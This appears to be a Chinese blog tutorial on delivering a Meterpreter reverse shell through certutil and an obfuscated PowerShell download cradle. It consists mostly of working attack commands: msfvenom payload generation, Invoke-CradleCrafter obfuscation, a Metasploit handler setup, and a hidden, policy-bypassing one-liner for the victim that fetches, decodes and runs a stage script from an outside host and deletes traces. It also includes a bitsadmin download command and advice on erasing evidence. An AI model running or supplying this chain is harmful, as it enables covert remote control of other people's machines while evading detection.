Certutil.exe是一个命令行程序,作为证书服务的一部分安装。您可以使用Certutil.exe转储和显示证书颁发机构(CA)配置信息,配置证书服务,备份和还原CA组件以及验证证书,密钥对和证书链。

适用于:Windows Server 2012,Windows 10

1.使用Certutil.exe下载文件,下载完成以后一定记得delete 清理痕迹。

  1. C:\> certutil.exe -urlcache -split -f http://lyshark.com/lyshark.log
  2. C:\> certutil.exe -urlcache -split -f http://lyshark.com/lyshark.log delete

2.在应急中certutil也是常用工具之一,来对比文件hash,来判断疑似文件。

  1. C:\> certutil -hashfile lyshark.log MD5
  2. MD5 lyshark.log 哈希:
  3. 6f5902ac237024bdd0c176cb93063dc4

3.还可以对指定文件进行编码。编码后生成目标文件lyshark.bat

  1. C:\> certutil -encode lyshark.log lyshark.bat
  2. 输入长度 = 12
  3. 输出长度 = 74
  4. CertUtil: -encode 命令成功完成。

4.通过使用decode命令来完成解码。

  1. C:\> certutil -decode lyshark.bat lyshark.log
  2. 输入长度 = 74
  3. 输出长度 = 12
  4. CertUtil: -decode 命令成功完成。

附加:C:> bitsadmin /rawreturn /transfer down "http://lyshark.com/lyshark.exe" c:\lyshark.exe

以上的简介就是certutil工具的常用应用场景,而通过结合powershell的内存加载功能,则可把certutil的功能发挥到极致,接下来先来下载一个PS的加载框架。

PowerShell 混淆框架:https://github.com/danielbohannon/Invoke-CradleCrafter

1.在加载PowerShell脚本之前,先来进行数字签名,运行命令。

  1. PS C:\Invoke-CradleCrafter> Set-ExecutionPolicy Bypass
  2. 执行策略更改
  3. 执行策略可帮助你防止执行不信任的脚本。更改执行策略可能会产生安全风险,如 https:/go.microsoft.com/fwlink/?LinkID=135170
  4. 中的 about_Execution_Policies 帮助主题所述。是否要更改执行策略? Y

2.使用方法,执行两条命令,加载框架。

  1. PS C:\Invoke-CradleCrafter> Import-Module .\Invoke-CradleCrafter.ps1
  2. PS C:\Invoke-CradleCrafter> Invoke-CradleCrafter
  3. Invoke-CradleCrafter
  4. _____ _ ,
  5. \_ \_ ____ _____ | | _____ /( __________
  6. / /\/ '_ \ \ / / _ \| |/ / _ \_____ | >:==========`
  7. /\/ /_ | | | \ V / (_) | < __/_____| )(
  8. \____/ |_| |_|\_/ \___/|_|\_\___| ""
  9. ___ _ _ ___ __ _
  10. / __\ __ __ _ __| | | ___ / __\ __ __ _ / _| |_ ___ _ __
  11. / / | '__/ _` |/ _` | |/ _ \/ / | '__/ _` | |_| __/ _ \ '__|
  12. / /__| | | (_| | (_| | | __/ /__| | | (_| | _| || __/ |
  13. \____/_| \__,_|\__,_|_|\___\____/_| \__,_|_| \__\___|_|
  14. Tool :: Invoke-CradleCrafter
  15. Author :: Daniel Bohannon (DBO)
  16. Twitter :: @danielhbohannon
  17. Blog :: http://danielbohannon.com
  18. Github :: https://github.com/danielbohannon/Invoke-CradleCrafter
  19. Version :: 1.1
  20. License :: Apache License, Version 2.0
  21. Notes :: If(!$Caffeinated) {Exit}
  22. HELP MENU :: Available options shown below:

3.MSF攻击主机,生成payload,并将生成好的payload放入网站根目录,保证能够正常访问。

  1. [root@localhost ~]# msfvenom -p windows/x64/meterpreter/reverse_tcp \
  2. > lhost=192.168.1.30 lport=8888 -e cmd/powershell_base64 \
  3. > -f psh -o lyshark.txt
  4. [root@localhost ~]# cp -a lyshark.txt /var/www/html/
  5. [root@localhost ~]# systemctl restart httpd

4.powershell 框架设置指定好的URL链接。

  1. Invoke-CradleCrafter> set URL http://lyshark.com/lyshark.txt
  2. Successfully set Url:
  3. http://lyshark.com/lyshark.txt

5.分别执行以下命令完成初始化,这里如果报错请添加环境变量。

  1. Invoke-CradleCrafter> MEMORY
  2. Choose one of the below Memory options:
  3. [*] MEMORY\PSWEBSTRING PS Net.WebClient + DownloadString method
  4. [*] MEMORY\PSWEBDATA PS Net.WebClient + DownloadData method
  5. [*] MEMORY\PSWEBOPENREAD PS Net.WebClient + OpenRead method
  6. [*] MEMORY\NETWEBSTRING .NET [Net.WebClient] + DownloadString method (PS3.0+)
  7. [*] MEMORY\NETWEBDATA .NET [Net.WebClient] + DownloadData method (PS3.0+)
  8. [*] MEMORY\NETWEBOPENREAD .NET [Net.WebClient] + OpenRead method (PS3.0+)
  9. [*] MEMORY\PSWEBREQUEST PS Invoke-WebRequest/IWR (PS3.0+)
  10. [*] MEMORY\PSRESTMETHOD PS Invoke-RestMethod/IRM (PS3.0+)
  11. [*] MEMORY\NETWEBREQUEST .NET [Net.HttpWebRequest] class
  12. [*] MEMORY\PSSENDKEYS PS SendKeys class + Notepad (for the lulz)
  13. [*] MEMORY\PSCOMWORD PS COM object + WinWord.exe
  14. [*] MEMORY\PSCOMEXCEL PS COM object + Excel.exe
  15. [*] MEMORY\PSCOMIE PS COM object + Iexplore.exe
  16. [*] MEMORY\PSCOMMSXML PS COM object + MsXml2.ServerXmlHttp
  17. [*] MEMORY\PSINLINECSHARP PS Add-Type + Inline CSharp
  18. [*] MEMORY\PSCOMPILEDCSHARP .NET [Reflection.Assembly]::Load Pre-Compiled CSharp
  19. [*] MEMORY\CERTUTIL Certutil.exe + -ping Argument
  1. Invoke-CradleCrafter\Memory> CERTUTIL
  2. [*] Name :: Certutil
  3. [*] Description :: PowerShell leveraging certutil.exe to download payload as string
  4. [*] Compatibility :: PS 2.0+
  5. [*] Dependencies :: Certutil.exe
  6. [*] Footprint :: Entirely memory-based
  7. [*] Indicators :: powershell.exe spawns certutil.exe certutil.exe
  8. [*] Artifacts :: C:\Windows\Prefetch\CERTUTIL.EXE-********.pf AppCompat Cache
  1. Invoke-CradleCrafter\Memory\Certutil> ALL
  2. Choose one of the below Memory\Certutil\All options to APPLY to current cradle:
  3. [*] MEMORY\CERTUTIL\ALL\1 Execute ALL Token obfuscation techniques (random order)
  4. Invoke-CradleCrafter\Memory\Certutil\All> 1
  5. Executed:
  6. CLI: Memory\Certutil\All\1
  7. FULL: Out-Cradle -Url 'http://lyshark.com/lyshark.txt' -Cradle 17 -TokenArray @('All',1)
  8. Result:
  9. SV 1O6 'http://lyshark.com/lyshark.txt';.(Get-Command *ke-*pr*) ((C:\Windows\System32\certutil /ping (Get-Item Variable:\1O6).Value|&(Get-Variable Ex*xt).Value.InvokeCommand.(((Get-Variable Ex*xt).Value.InvokeCommand.PsObject.Methods|?{(Get-Variable _ -ValueOn).Name-ilike'*and'}).Name).Invoke((Get-Variable Ex*xt).Value.InvokeCommand.(((Get-Variable Ex*xt).Value.InvokeCommand|GM|?{(Get-Variable _ -ValueOn).Name-ilike'*Com*e'}).Name).Invoke('*el*-O*',$TRUE,1),[Management.Automation.CommandTypes]::Cmdlet)-Skip 2|&(Get-Variable Ex*xt).Value.InvokeCommand.(((Get-Variable Ex*xt).Value.InvokeCommand.PsObject.Methods|?{(Get-Variable _ -ValueOn).Name-ilike'*and'}).Name).Invoke((Get-Variable Ex*xt).Value.InvokeCommand.(((Get-Variable Ex*xt).Value.InvokeCommand|GM|?{(Get-Variable _ -ValueOn).Name-ilike'*Com*e'}).Name).Invoke('*el*-O*',$TRUE,1),[Management.Automation.CommandTypes]::Cmdlet)-SkipLa 1)-Join"`r`n")
  10. Choose one of the below Memory\Certutil\All options to APPLY to current cradle:
  11. [*] MEMORY\CERTUTIL\ALL\1 Execute ALL Token obfuscation techniques (random order)

6.将上方混淆后的内容保存为 crt.txt 然后进行encode加密

  1. C:\Users\lyshark\Desktop>certutil -encode crt.txt crt.cer
  2. 输入长度 = 912
  3. 输出长度 = 1310
  4. CertUtil: -encode 命令成功完成。

7.将生成的 crt.cet 放入服务器的根目录下,保证能够访问,然后运行msfconsole控制台,并侦听事件。

  1. [root@localhost ~]# cp -a crt.cer /var/www/html/
  2. msf5 > use exploit/multi/handler
  3. msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
  4. payload => windows/meterpreter/reverse_tcp
  5. msf5 exploit(multi/handler) > set lhost 192.168.1.30
  6. lhost => 192.168.1.7
  7. msf5 exploit(multi/handler) > set lport 8888
  8. lport => 8888
  9. msf5 exploit(multi/handler) > exploit -j -z

8.最终靶机执行,以下命令。

  1. powershell.exe Win hiddeN Exec ByPasS addcontent path %APPDATA%\crt.cer (NewObject Net.WebClient).DownloadString('http://lyshark.com/crt.cer'); certutil decode %APPDATA%\crt.cer %APPDATA%\stage.ps1 & start /b c
  2. md /c powershell.exe Exec Bypass NoExit File %APPDATA%\stage.ps1 & start /b cmd /c del %APPDATA%\crt.cer

certutil 命令配合PS反弹后门的更多相关文章

  1. 关于msf反弹后门的免杀Tips

    msf是一个很强大的工具,我经常会在渗透用它来反弹shell,不过它生成的反弹后门会被不少杀软kill,这篇文章只是讲讲我在msf中一个简单的免杀小技巧 思路 我以前接触过一款python的远控,其实 ...

  2. Linux命令:ps / top

    简介:ps - report a snapshot of the current processes. 用途:获取当前时刻程序运行状态 概要:ps [options] 类型:ps is hashed ...

  3. 每天一个linux命令(53)--ps命令

    要毁掉一天,从早上开始. Linux中的ps命令是 process status 的缩写.ps 命令用来列出系统中当前运行的那些进程.ps 命令列出的是当前那些进程的快照,就是执行ps 命令的那个时刻 ...

  4. Linux命令之-ps & kill

    1.ps:将某个进程显示出来: 常用命令 :ps -ef |grep Java 1)如下为加不加-e参数的区别 2.一般我们查找某个进程的目的就是把它杀掉,使用kill 命令. kill -9 564 ...

  5. linux命令学习——ps

    1.命令简介 ps命令用来查看系统上的进程信息.要对进程进行监测和控制,首先必须要了解当前进程的情况,也就是需要查看当前进程,而 ps 命令就是最基本同时也是非常强大的进程查看命令.使用该命令可以确定 ...

  6. Linux命令:ps

    Linux中的ps命令是Process Status的缩写.ps命令用来列出系统中当前运行的那些进程.ps命令列出的是当前那些进程的快照,就是执行ps命令的那个时刻的那些进程,如果想要动态的显示进程信 ...

  7. linux 命令——41 ps(转)

    Linux中的ps命令是Process Status的缩写.ps命令用来列出系统中当前运行的那些进程.ps命令列出的是当前那些进程的快照,就是执行ps命令的那个时刻的那些进程,如果想要动态的显示进程信 ...

  8. Linux监控命令之==>ps

    一.命令说明 ps 命令是最基本同时也是非常强大的进程查看命令.使用该命令可以确定有哪些进程正在运行和运行的状态.进程是否结束.进程有没有僵死.哪些进程占用了过多的资源等等.总之大部分信息都是可以通过 ...

  9. 每天一个linux命令:ps命令

      Linux中的ps命令是Process Status的缩写.ps命令用来列出系统中当前运行的那些进程.ps命令列出的是当前那些进程的快照,就是执行ps命令的那个时刻的那些进程,如果想要动态的显示进 ...

随机推荐

  1. PHP-配置MySQL

    安装mysql 修改PHP配置文件 修改php安装路径下 php.ini extension=php_mysqli.dll 在代码路径下添加php文件,在里面编辑 <?php phpinfo() ...

  2. python-获取程序的路径

    python获取当前路径 import os,sys 使用sys.path[0].sys.argv[0].os.getcwd().os.path.abspath(file).os.path.realp ...

  3. DB 分库分表(4):多数据源的事务处理

    系统经sharding改造之后,原来单一的数据库会演变成多个数据库,如何确保多数据源同时操作的原子性和一致性是不得不考虑的一个问题.总体上看,目前对于一个分布式系统的事务处理有三种方式:分布式事务.基 ...

  4. AutoItLibrary测试Windows GUI

    AutoItLibrary库关键字 AutoItLibrary 的对象操作大体上有几大主要部分,Window 操作.Control 操作.Mouse 操作.Process操作.Run 操作.Reg 操 ...

  5. router 配置按需加载对应的组件,配置active

    const routes = [ { path: '/', component: App, children: [ {path: '/index/:type', name: 'index', comp ...

  6. 编写javad代码实现使用Scanner从键盘读取一行输入,去掉其中重复字符, 打印出不同的那些字符

    package com.loaderman.test; import java.util.HashSet; import java.util.Scanner; public class Test2 { ...

  7. Systemd 指令

    Systemd 指令 原文:http://www.ruanyifeng.com/blog/2016/03/systemd-tutorial-commands.html 一.由来 历史上,Linux 的 ...

  8. [ubuntu]android SDK 与Gradle环境的安装与配置|搭建android基础开发/构建环境

    系统环境: linux:ubuntu18 已配置jdk 环境变量 切换到root账户 sudo su 安装Android-sdk (0)准备工作 切换到/usr/local目录: /usr/local ...

  9. [VBA]定向提取符合条件的内容

    要求:若A列满足值为c,则将b列对应的内容背景色调为红色,并提取出来: 代码如下: Sub naqu()Dim i As IntegerFor i = 2 To Range("a65536& ...

  10. 表视图为Group类型的注意问题

    使用group类型的tableview时,第一个section距离navigationbar的距离很大,不符合这边的设计图. 使用 myTableView . sectionHeaderHeight  ...